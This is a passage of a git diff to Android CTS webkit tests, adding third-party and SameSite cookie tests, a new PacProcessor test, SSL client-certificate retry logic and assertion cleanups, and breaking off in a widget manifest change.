+        String url = mServer.getCookieUrl("conquest.html");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("0", mOnUiThread.getTitle()); // no cookies passed
         Thread.sleep(500);
@@ -110,7 +118,7 @@
         mCookieManager.setAcceptCookie(true);
         assertTrue(mCookieManager.acceptCookie());
 
-        url = server.getCookieUrl("war.html");
+        url = mServer.getCookieUrl("war.html");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("0", mOnUiThread.getTitle()); // no cookies passed
         waitForCookie(url);
@@ -122,7 +130,7 @@
         assertTrue(m.matches());
         assertEquals("0", m.group(1));
 
-        url = server.getCookieUrl("famine.html");
+        url = mServer.getCookieUrl("famine.html");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("1|count=0", mOnUiThread.getTitle()); // outgoing cookie
         waitForCookie(url);
@@ -132,7 +140,7 @@
         assertTrue(m.matches());
         assertEquals("1", m.group(1)); // value got incremented
 
-        url = server.getCookieUrl("death.html");
+        url = mServer.getCookieUrl("death.html");
         mCookieManager.setCookie(url, "count=41");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("1|count=41", mOnUiThread.getTitle()); // outgoing cookie
@@ -325,56 +333,108 @@
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
-        CtsTestServer server = null;
+
+        // In theory we need two servers to test this, one server ('the first party')
+        // which returns a response with a link to a second server ('the third party')
+        // at different origin. This second server attempts to set a cookie which should
+        // fail if AcceptThirdPartyCookie() is false.
+        // Strictly according to the letter of RFC6454 it should be possible to set this
+        // situation up with two TestServers on different ports (these count as having
+        // different origins) but Chrome is not strict about this and does not check the
+        // port. Instead we cheat making some of the urls come from localhost and some
+        // from 127.0.0.1 which count (both in theory and pratice) as having different
+        // origins.
+        mServer = new CtsTestServer(getActivity());
+
+        // Turn on Javascript (otherwise <script> aren't fetched spoiling the test).
+        mOnUiThread.getSettings().setJavaScriptEnabled(true);
+
+        // Turn global allow on.
+        mCookieManager.setAcceptCookie(true);
+        assertTrue(mCookieManager.acceptCookie());
+
+        // When third party cookies are disabled...
+        mOnUiThread.setAcceptThirdPartyCookies(false);
+        assertFalse(mOnUiThread.acceptThirdPartyCookies());
+
+        // ...we can't set third party cookies.
+        // First on the third party server we get a url which tries to set a cookie.
+        String cookieUrl = toThirdPartyUrl(
+                mServer.getSetCookieUrl("/cookie_1.js", "test1", "value1", "SameSite=None; Secure"));
+        // Then we create a url on the first party server which links to the first url.
+        String url = mServer.getLinkedScriptUrl("/content_1.html", cookieUrl);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        assertNull(mCookieManager.getCookie(cookieUrl));
+
+        // When third party cookies are enabled...
+        mOnUiThread.setAcceptThirdPartyCookies(true);
+        assertTrue(mOnUiThread.acceptThirdPartyCookies());
+
+        // ...we can set third party cookies.
+        cookieUrl = toThirdPartyUrl(
+                mServer.getSetCookieUrl("/cookie_2.js", "test2", "value2", "SameSite=None; Secure"));
+        url = mServer.getLinkedScriptUrl("/content_2.html", cookieUrl);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        waitForCookie(cookieUrl);
+        String cookie = mCookieManager.getCookie(cookieUrl);
+        assertNotNull(cookie);
+        assertTrue(cookie.contains("test2"));
+    }
+
+    public void testSameSiteLaxByDefault() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+        mServer = new CtsTestServer(getActivity());
+        mOnUiThread.getSettings().setJavaScriptEnabled(true);
+        mCookieManager.setAcceptCookie(true);
+        mOnUiThread.setAcceptThirdPartyCookies(true);
+
+        // Verify that even with third party cookies enabled, cookies that don't explicitly
+        // specify SameSite=none are treated as SameSite=lax and not set in a 3P context.
+        String cookieUrl = toThirdPartyUrl(
+                mServer.getSetCookieUrl("/cookie_1.js", "test1", "value1"));
+        String url = mServer.getLinkedScriptUrl("/content_1.html", cookieUrl);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        assertNull(mCookieManager.getCookie(cookieUrl));
+    }
+
+    public void testSameSiteNoneRequiresSecure() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+        mServer = new CtsTestServer(getActivity());
+        mOnUiThread.getSettings().setJavaScriptEnabled(true);
+        mCookieManager.setAcceptCookie(true);
+
+        // Verify that cookies with SameSite=none are ignored when the cookie is not also Secure.
+        String cookieUrl =
+                mServer.getSetCookieUrl("/cookie_1.js", "test1", "value1", "SameSite=None");
+        String url = mServer.getLinkedScriptUrl("/content_1.html", cookieUrl);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        assertNull(mCookieManager.getCookie(cookieUrl));
+    }
+
+    public void testSchemefulSameSite() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+        mServer = new CtsTestServer(getActivity());
+        mOnUiThread.getSettings().setJavaScriptEnabled(true);
+        mCookieManager.setAcceptCookie(true);
+        mOnUiThread.setAcceptThirdPartyCookies(true);
+
+        // Verify that two servers with different schemes on the same host are not considered
+        // same-site to each other.
+        CtsTestServer secureServer = new CtsTestServer(getActivity(),
+                CtsTestServer.SslMode.NO_CLIENT_AUTH, R.raw.trustedkey, R.raw.trustedcert);
         try {
-            // In theory we need two servers to test this, one server ('the first party')
-            // which returns a response with a link to a second server ('the third party')
-            // at different origin. This second server attempts to set a cookie which should
-            // fail if AcceptThirdPartyCookie() is false.
-            // Strictly according to the letter of RFC6454 it should be possible to set this
-            // situation up with two TestServers on different ports (these count as having
-            // different origins) but Chrome is not strict about this and does not check the
-            // port. Instead we cheat making some of the urls come from localhost and some
-            // from 127.0.0.1 which count (both in theory and pratice) as having different
-            // origins.
-            server = new CtsTestServer(getActivity());
-
-            // Turn on Javascript (otherwise <script> aren't fetched spoiling the test).
-            mOnUiThread.getSettings().setJavaScriptEnabled(true);
-
-            // Turn global allow on.
-            mCookieManager.setAcceptCookie(true);
-            assertTrue(mCookieManager.acceptCookie());
-
-            // When third party cookies are disabled...
-            mOnUiThread.setAcceptThirdPartyCookies(false);
-            assertFalse(mOnUiThread.acceptThirdPartyCookies());
-
-            // ...we can't set third party cookies.
-            // First on the third party server we get a url which tries to set a cookie.
-            String cookieUrl = toThirdPartyUrl(
-                    server.getSetCookieUrl("cookie_1.js", "test1", "value1"));
-            // Then we create a url on the first party server which links to the first url.
-            String url = server.getLinkedScriptUrl("/content_1.html", cookieUrl);
+            String cookieUrl = secureServer.getSetCookieUrl("/cookie_1.js", "test1", "value1");
+            String url = mServer.getLinkedScriptUrl("/content_1.html", cookieUrl);
             mOnUiThread.loadUrlAndWaitForCompletion(url);
             assertNull(mCookieManager.getCookie(cookieUrl));
-
-            // When third party cookies are enabled...
-            mOnUiThread.setAcceptThirdPartyCookies(true);
-            assertTrue(mOnUiThread.acceptThirdPartyCookies());
-
-            // ...we can set third party cookies.
-            cookieUrl = toThirdPartyUrl(
-                    server.getSetCookieUrl("/cookie_2.js", "test2", "value2"));
-            url = server.getLinkedScriptUrl("/content_2.html", cookieUrl);
-            mOnUiThread.loadUrlAndWaitForCompletion(url);
-            waitForCookie(cookieUrl);
-            String cookie = mCookieManager.getCookie(cookieUrl);
-            assertNotNull(cookie);
-            assertTrue(cookie.contains("test2"));
         } finally {
-            if (server != null) server.shutdown();
-            mOnUiThread.getSettings().setJavaScriptEnabled(false);
+            secureServer.shutdown();
         }
     }
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java b/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
new file mode 100644
index 0000000..2843011
--- /dev/null
+++ b/tests/tests/webkit/src/android/webkit/cts/PacProcessorTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.webkit.cts;
+
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.webkit.PacProcessor;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public final class PacProcessorTest {
+    private static final String TAG = "PacProcessorCtsTest";
+    private static final long REMOTE_TIMEOUT_MS = 5000;
+
+    private TestProcessClient mProcess;
+
+    @Before
+    public void setUp() throws Throwable {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        mProcess = TestProcessClient.createProcessB(context);
+    }
+
+    static class TestCreatePacProcessor extends TestProcessClient.TestRunnable {
+        @Override
+        public void run(Context ctx) {
+            PacProcessor pacProcessor = PacProcessor.createInstance();
+            PacProcessor otherPacProcessor = PacProcessor.createInstance();
+
+            Assert.assertNotNull("createPacProcessor must not return null", pacProcessor);
+            Assert.assertNotNull("createPacProcessor must not return null", otherPacProcessor);
+
+            Assert.assertFalse("createPacProcessor must return different objects", pacProcessor == otherPacProcessor);
+
+            pacProcessor.setProxyScript(
+                    "function FindProxyForURL(url, host) {" +
+                            "return \"PROXY 1.2.3.4:8080\";" +
+                            "}"
+            );
+            otherPacProcessor.setProxyScript(
+                    "function FindProxyForURL(url, host) {" +
+                            "return \"PROXY 5.6.7.8:8080\";" +
+                            "}"
+            );
+
+            Assert.assertEquals("PROXY 1.2.3.4:8080", pacProcessor.findProxyForUrl("test.url"));
+            Assert.assertEquals("PROXY 5.6.7.8:8080", otherPacProcessor.findProxyForUrl("test.url"));
+
+            pacProcessor.release();
+            otherPacProcessor.release();
+        }
+    }
+
+    /**
+     * Test that each {@link PacProcessor#createInstance} call returns a new not null instance.
+     */
+    @Test
+    public void testCreatePacProcessor() throws Throwable {
+        mProcess.run(TestCreatePacProcessor.class, REMOTE_TIMEOUT_MS);
+    }
+
+    static class TestDefaultNetworkIsNull extends TestProcessClient.TestRunnable {
+        @Override
+        public void run(Context ctx) {
+            PacProcessor pacProcessor = PacProcessor.createInstance();
+            Assert.assertNull("PacProcessor must not have Network set", pacProcessor.getNetwork());
+
+            pacProcessor.release();
+        }
+    }
+
+    /**
+     * Test PacProcessor does not have set Network by default.
+     */
+    @Test
+    public void testDefaultNetworkIsNull() throws Throwable {
+        mProcess.run(TestDefaultNetworkIsNull.class, REMOTE_TIMEOUT_MS);
+    }
+
+    static class TestSetNetwork extends TestProcessClient.TestRunnable {
+        @Override
+        public void run(Context ctx) {
+            ConnectivityManager connectivityManager =
+                    ctx.getSystemService(ConnectivityManager.class);
+            Network[] networks = connectivityManager.getAllNetworks();
+            Assert.assertTrue("testSetNetwork requires at least one available Network", networks.length > 0);
+
+            PacProcessor pacProcessor = PacProcessor.createInstance();
+            PacProcessor otherPacProcessor = PacProcessor.createInstance();
+
+            pacProcessor.setNetwork(networks[0]);
+            Assert.assertEquals("Network is not set", networks[0], pacProcessor.getNetwork());
+            Assert.assertNull("setNetwork must not affect other PacProcessors", otherPacProcessor.getNetwork());
+
+            pacProcessor.setNetwork(null);
+            Assert.assertNull("Network is not unset", pacProcessor.getNetwork());
+
+            pacProcessor.release();
+            otherPacProcessor.release();
+        }
+    }
+    /**
+     * Test that setNetwork correctly set Network to PacProcessor.
+     */
+    @Test
+    public void testSetNetwork() throws Throwable {
+        mProcess.run(TestSetNetwork.class, REMOTE_TIMEOUT_MS);
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index 2a9d690..513db9b 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -18,6 +18,7 @@
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.greaterThan;
 import static org.hamcrest.Matchers.lessThan;
+import static org.junit.Assert.assertNotEquals;
 
 import android.content.Context;
 import android.graphics.Bitmap;
@@ -955,7 +956,7 @@
         mOnUiThread.clearCache(true);
         mOnUiThread.loadUrlAndWaitForCompletion(
             mWebServer.getAssetUrl(TestHtmlConstants.HELLO_WORLD_URL));
-        assertFalse(TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
+        assertNotEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
         mOnUiThread.loadDataAndWaitForCompletion(getNetworkImageHtml(), "text/html", null);
         assertEquals(EMPTY_IMAGE_HEIGHT, mOnUiThread.getTitle());
         mOnUiThread.loadDataAndWaitForCompletion(DATA_URL_IMAGE_HTML, "text/html", null);
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index 81ea695..ceecde6 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -38,6 +38,8 @@
 import android.webkit.cts.WebViewSyncLoader.WaitForLoadedClient;
 import android.util.Pair;
 
+import androidx.test.filters.FlakyTest;
+
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
 import com.google.common.util.concurrent.SettableFuture;
@@ -142,6 +144,7 @@
 
     // Verify shouldoverrideurlloading called on webview called via onCreateWindow
     // TODO(sgurun) upstream this test to Aw.
+    @FlakyTest(bugId = 172331117)
     public void testShouldOverrideUrlLoadingOnCreateWindow() throws Exception {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -319,7 +322,7 @@
         assertNull(webViewClient.hasOnReceivedResourceError());
         String url = mWebServer.getAssetUrl(TestHtmlConstants.BAD_IMAGE_PAGE_URL);
         mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertTrue(webViewClient.hasOnReceivedResourceError() != null);
+        assertNotNull(webViewClient.hasOnReceivedResourceError());
         assertEquals(WebViewClient.ERROR_UNSUPPORTED_SCHEME,
                 webViewClient.hasOnReceivedResourceError().getErrorCode());
     }
@@ -335,7 +338,7 @@
         assertNull(webViewClient.hasOnReceivedHttpError());
         String url = mWebServer.getAssetUrl(TestHtmlConstants.NON_EXISTENT_PAGE_URL);
         mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertTrue(webViewClient.hasOnReceivedHttpError() != null);
+        assertNotNull(webViewClient.hasOnReceivedHttpError());
         assertEquals(404, webViewClient.hasOnReceivedHttpError().getStatusCode());
     }
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
index d59d395..f9496ab 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
@@ -16,6 +16,9 @@
 
 package android.webkit.cts;
 
+import static org.junit.Assert.assertNotEquals;
+
+import android.annotation.CallSuper;
 import android.net.Uri;
 import android.net.http.SslCertificate;
 import android.net.http.SslError;
@@ -32,6 +35,8 @@
 import android.webkit.WebViewClient;
 import android.webkit.cts.WebViewSyncLoader.WaitForLoadedClient;
 
+import androidx.test.filters.FlakyTest;
+
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
 
@@ -561,14 +566,14 @@
         // Load the page again. We expect another call to
         // WebViewClient.onReceivedSslError() since we cleared sslpreferences.
         mOnUiThread.clearSslPreferences();
-        webViewClient.resetWasOnReceivedSslErrorCalled();
+        webViewClient.resetCallCounts();
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertTrue(webViewClient.wasOnReceivedSslErrorCalled());
         assertEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
 
         // Load the page once again, without clearing the sslpreferences.
         // Make sure we do not get the callback.
-        webViewClient.resetWasOnReceivedSslErrorCalled();
+        webViewClient.resetCallCounts();
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertFalse(webViewClient.wasOnReceivedSslErrorCalled());
         assertEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
@@ -650,7 +655,7 @@
         mOnUiThread.setWebViewClient(new MockWebViewClient());
         mOnUiThread.clearSslPreferences();
         mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertFalse(TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
+        assertNotEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
     }
 
     public void testSslErrorProceedResponseReusedForSameHost() throws Throwable {
@@ -669,7 +674,7 @@
 
         // Load the second page. We don't expect a call to
         // WebViewClient.onReceivedSslError(), but the page should load.
-        webViewClient.resetWasOnReceivedSslErrorCalled();
+        webViewClient.resetCallCounts();
         final String sameHostUrl = mWebServer.getAssetUrl(TestHtmlConstants.HTML_URL2);
         mOnUiThread.loadUrlAndWaitForCompletion(sameHostUrl);
         assertFalse(webViewClient.wasOnReceivedSslErrorCalled());
@@ -692,7 +697,7 @@
 
         // Load the second page. We expect another call to
         // WebViewClient.onReceivedSslError().
-        webViewClient.resetWasOnReceivedSslErrorCalled();
+        webViewClient.resetCallCounts();
         // The test server uses the host "localhost". "127.0.0.1" works as an
         // alias, but will be considered unique by the WebView.
         final String differentHostUrl = mWebServer.getAssetUrl(TestHtmlConstants.HTML_URL2).replace(
@@ -728,7 +733,7 @@
         final SslErrorWebViewClient webViewClient = new SslErrorWebViewClient(mOnUiThread);
         mOnUiThread.setWebViewClient(webViewClient);
         mOnUiThread.clearSslPreferences();
-        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        loadUrlUntilError(webViewClient, url, WebViewClient.ERROR_FAILED_SSL_HANDSHAKE);
         // Page NOT loaded OK...
         //
         // In this test, we expect both a recoverable and non-recoverable error:
@@ -745,24 +750,6 @@
         // WebView hit error 2 first, which prevented it from hitting error 1.
         assertFalse("Title should not be updated, since page load should have failed",
                 TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
-        assertFailedHandshakeOrConnectionError(webViewClient.onReceivedErrorCode());
-    }
-
-    private void assertFailedHandshakeOrConnectionError(int code) {
-        // Asserts the error code for a non-recoverable SSL error. Non-recoverable SSL errors may
-        // fail with either of the following codes:
-        //
-        //  a. In TLS 1.2 and earlier (< Android Q), handshakes take 2 round trips (RTTs). If the
-        //     server rejects the client , the client will know this reliably and WebView will
-        //     signal this with ERROR_FAILED_SSL_HANDSHAKE.
-        //  b. In TLS 1.3 (>= Android Q), handshakes were optimized to a single RTT. This has the
-        //     consequence the server *may* close the TCP connection at the same time as the client
-        //     sends the HTTP request. The closed TCP connection causes WebView to emit
-        //     ERROR_CONNECT and cancel the navigation. See b/146067690 and https://crbug.com/958638
-        //     for details on this issue.
-        assertTrue("Expected either ERROR_FAILED_SSL_HANDSHAKE or ERROR_CONNECT in onReceivedError",
-                code == WebViewClient.ERROR_FAILED_SSL_HANDSHAKE ||
-                code == WebViewClient.ERROR_CONNECT);
     }
 
     public void testProceedClientCertRequest() throws Throwable {
@@ -779,17 +766,20 @@
 
         // Test that the user's response for this server is kept in cache. Load a different
         // page from the same server and make sure we don't receive a client cert request callback.
-        int callCount = webViewClient.getClientCertRequestCount();
+        webViewClient.resetCallCounts();
         url = mWebServer.getAssetUrl(TestHtmlConstants.HTML_URL1);
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals(TestHtmlConstants.HTML_URL1_TITLE, mOnUiThread.getTitle());
-        assertEquals(callCount, webViewClient.getClientCertRequestCount());
+        assertEquals("onReceivedClientCertRequest should not be called",
+                0, webViewClient.getClientCertRequestCount());
 
         // Now clear the cache and reload the page. We should receive a new callback.
+        webViewClient.resetCallCounts();
         clearClientCertPreferences();
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals(TestHtmlConstants.HTML_URL1_TITLE, mOnUiThread.getTitle());
-        assertEquals(callCount + 1, webViewClient.getClientCertRequestCount());
+        assertEquals("onReceivedClientCertRequest should be called once",
+                1, webViewClient.getClientCertRequestCount());
     }
 
     public void testProceedClientCertRequestKeyWithAndroidKeystoreKey() throws Throwable {
@@ -809,17 +799,40 @@
 
         // Test that the user's response for this server is kept in cache. Load a different
         // page from the same server and make sure we don't receive a client cert request callback.
-        int callCount = webViewClient.getClientCertRequestCount();
+        webViewClient.resetCallCounts();
         url = mWebServer.getAssetUrl(TestHtmlConstants.HTML_URL1);
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals(TestHtmlConstants.HTML_URL1_TITLE, mOnUiThread.getTitle());
-        assertEquals(callCount, webViewClient.getClientCertRequestCount());
+        assertEquals("onReceivedClientCertRequest should not be called",
+                0, webViewClient.getClientCertRequestCount());
 
         // Now clear the cache and reload the page. We should receive a new callback.
+        webViewClient.resetCallCounts();
         clearClientCertPreferences();
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals(TestHtmlConstants.HTML_URL1_TITLE, mOnUiThread.getTitle());
-        assertEquals(callCount + 1, webViewClient.getClientCertRequestCount());
+        assertEquals("onReceivedClientCertRequest should be called once",
+                1, webViewClient.getClientCertRequestCount());
+    }
+
+    /**
+     * Loads a url until a specific error code. This is meant to be used when two different errors
+     * can race. Specifically, this is meant to be used to workaround the TLS 1.3 (Android Q and
+     * above) race condition where a server <b>may</b> close the connection at the same time the
+     * client sends the HTTP request, emitting {@code ERROR_CONNECT} instead of {@code
+     * ERROR_FAILED_SSL_HANDSHAKE}.
+     */
+    private void loadUrlUntilError(SslErrorWebViewClient client, String url,
+            int expectedErrorCode) {
+        int maxTries = 40;
+        for (int i = 0; i < maxTries; i++) {
+            mOnUiThread.loadUrlAndWaitForCompletion(url);
+            if (client.onReceivedErrorCode() == expectedErrorCode) {
+                return;
+            }
+        }
+        throw new RuntimeException(
+                "Reached max number of tries and never saw error " + expectedErrorCode);
     }
 
     public void testIgnoreClientCertRequest() throws Throwable {
@@ -833,18 +846,23 @@
         clearClientCertPreferences();
         // Ignore the request. Load should fail.
         webViewClient.setAction(ClientCertWebViewClient.IGNORE);
-        mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertFalse(TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
-        assertFailedHandshakeOrConnectionError(webViewClient.onReceivedErrorCode());
+        loadUrlUntilError(webViewClient, url, WebViewClient.ERROR_FAILED_SSL_HANDSHAKE);
+        assertNotEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
+        // At least one of the loads done by loadUrlUntilError() should produce
+        // onReceivedClientCertRequest.
+        assertTrue("onReceivedClientCertRequest should be called at least once",
+                webViewClient.getClientCertRequestCount() >= 1);
 
         // Load a different page from the same domain, ignoring the request. We should get a callback,
         // and load should fail.
-        int callCount = webViewClient.getClientCertRequestCount();
+        webViewClient.resetCallCounts();
         url = mWebServer.getAssetUrl(TestHtmlConstants.HTML_URL1);
-        mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertFalse(TestHtmlConstants.HTML_URL1_TITLE.equals(mOnUiThread.getTitle()));
-        assertFailedHandshakeOrConnectionError(webViewClient.onReceivedErrorCode());
-        assertEquals(callCount + 1, webViewClient.getClientCertRequestCount());
+        loadUrlUntilError(webViewClient, url, WebViewClient.ERROR_FAILED_SSL_HANDSHAKE);
+        assertNotEquals(TestHtmlConstants.HTML_URL1_TITLE, mOnUiThread.getTitle());
+        // At least one of the loads done by loadUrlUntilError() should produce
+        // onReceivedClientCertRequest.
+        assertTrue("onReceivedClientCertRequest should be called at least once for second URL",
+                webViewClient.getClientCertRequestCount() >= 1);
 
         // Reload, proceeding the request. Load should succeed.
         webViewClient.setAction(ClientCertWebViewClient.PROCEED);
@@ -864,16 +882,20 @@
         clearClientCertPreferences();
         // Cancel the request. Load should fail.
         webViewClient.setAction(ClientCertWebViewClient.CANCEL);
-        mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertFalse(TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
-        assertFailedHandshakeOrConnectionError(webViewClient.onReceivedErrorCode());
+        loadUrlUntilError(webViewClient, url, WebViewClient.ERROR_FAILED_SSL_HANDSHAKE);
+        assertNotEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
+        // At least one of the loads done by loadUrlUntilError() should produce
+        // onReceivedClientCertRequest.
+        assertTrue("onReceivedClientCertRequest should be called at least once",
+                webViewClient.getClientCertRequestCount() >= 1);
 
         // Reload. The request should fail without generating a new callback.
-        int callCount = webViewClient.getClientCertRequestCount();
-        mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertEquals(callCount, webViewClient.getClientCertRequestCount());
-        assertFalse(TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
-        assertFailedHandshakeOrConnectionError(webViewClient.onReceivedErrorCode());
+        webViewClient.resetCallCounts();
+        loadUrlUntilError(webViewClient, url, WebViewClient.ERROR_FAILED_SSL_HANDSHAKE);
+        // None of the loads done by loadUrlUntilError() should produce onReceivedClientCertRequest.
+        assertEquals("onReceivedClientCertRequest should not be called for reload",
+                0, webViewClient.getClientCertRequestCount());
+        assertNotEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
     }
 
     /**
@@ -961,8 +983,11 @@
                 String failingUrl) {
             mErrorCode = errorCode;
         }
-        public void resetWasOnReceivedSslErrorCalled() {
+        @CallSuper
+        public void resetCallCounts() {
             mWasOnReceivedSslErrorCalled = false;
+            mErrorUrl = null;
+            mErrorCode = 0;
         }
         public boolean wasOnReceivedSslErrorCalled() {
             return mWasOnReceivedSslErrorCalled;
@@ -1007,15 +1032,18 @@
             return mPrincipals;
         }
 
-        public void resetClientCertRequestCount() {
-            mClientCertRequests = 0;
-        }
-
         public void setAction(int action) {
             mAction = action;
         }
 
         @Override
+        public void resetCallCounts() {
+            super.resetCallCounts();
+            mClientCertRequests = 0;
+            mPrincipals = null;
+        }
+
+        @Override
         public void onReceivedClientCertRequest(WebView view, ClientCertRequest request) {
             mClientCertRequests++;
             mPrincipals = request.getPrincipals();
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 9e33a5d..3069e6a 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -81,6 +81,8 @@
 import android.webkit.cts.WebViewSyncLoader.WaitForProgressClient;
 import android.widget.LinearLayout;
 
+import androidx.test.filters.FlakyTest;
+
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
 import com.google.common.util.concurrent.SettableFuture;
@@ -807,6 +809,7 @@
         assertEquals("false", mOnUiThread.evaluateJavascriptSync("'custom_property' in interface"));
     }
 
+    @FlakyTest(bugId = 171702662)
     public void testJavascriptInterfaceForClientPopup() throws Exception {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -1442,11 +1445,11 @@
         // can not scroll any more
         mOnUiThread.findNext(false);
         waitForScrollingComplete(previousScrollY);
-        assertTrue(mOnUiThread.getScrollY() == previousScrollY);
+        assertEquals(mOnUiThread.getScrollY(), previousScrollY);
 
         mOnUiThread.findNext(true);
         waitForScrollingComplete(previousScrollY);
-        assertTrue(mOnUiThread.getScrollY() == previousScrollY);
+        assertEquals(mOnUiThread.getScrollY(), previousScrollY);
     }
 
     public void testDocumentHasImages() throws Exception, Throwable {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
index 1eed020..2f247f2 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
@@ -21,6 +21,7 @@
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.Matchers.lessThan;
 import static org.hamcrest.Matchers.lessThanOrEqualTo;
+import static org.junit.Assert.assertNotEquals;
 
 import android.net.http.SslError;
 import android.os.StrictMode;
@@ -322,7 +323,7 @@
         }
 
         public float expectZoomBy(float currentScale, float scaleAmount) {
-            assertTrue(scaleAmount != 1.0f);
+            assertNotEquals(scaleAmount, 1.0f);
 
             float nextScale = currentScale * scaleAmount;
             ScaleChangedState state = waitForNextScaleChange();
diff --git a/tests/tests/widget/Android.bp b/tests/tests/widget/Android.bp
index 446a204..f3a78be 100644
--- a/tests/tests/widget/Android.bp
+++ b/tests/tests/widget/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsWidgetTestCases",
     defaults: ["cts_defaults"],
@@ -24,6 +20,7 @@
         "androidx.annotation_annotation",
         "androidx.test.ext.junit",
         "androidx.test.rules",
+	"ctsdeviceutillegacy-axt",
         "mockito-target-minus-junit4",
         "android-common",
         "compatibility-device-util-axt",
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index 85d4fc8..f3dbee4 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -16,615 +16,685 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.widget.cts"
-    android:targetSandboxVersion="2">
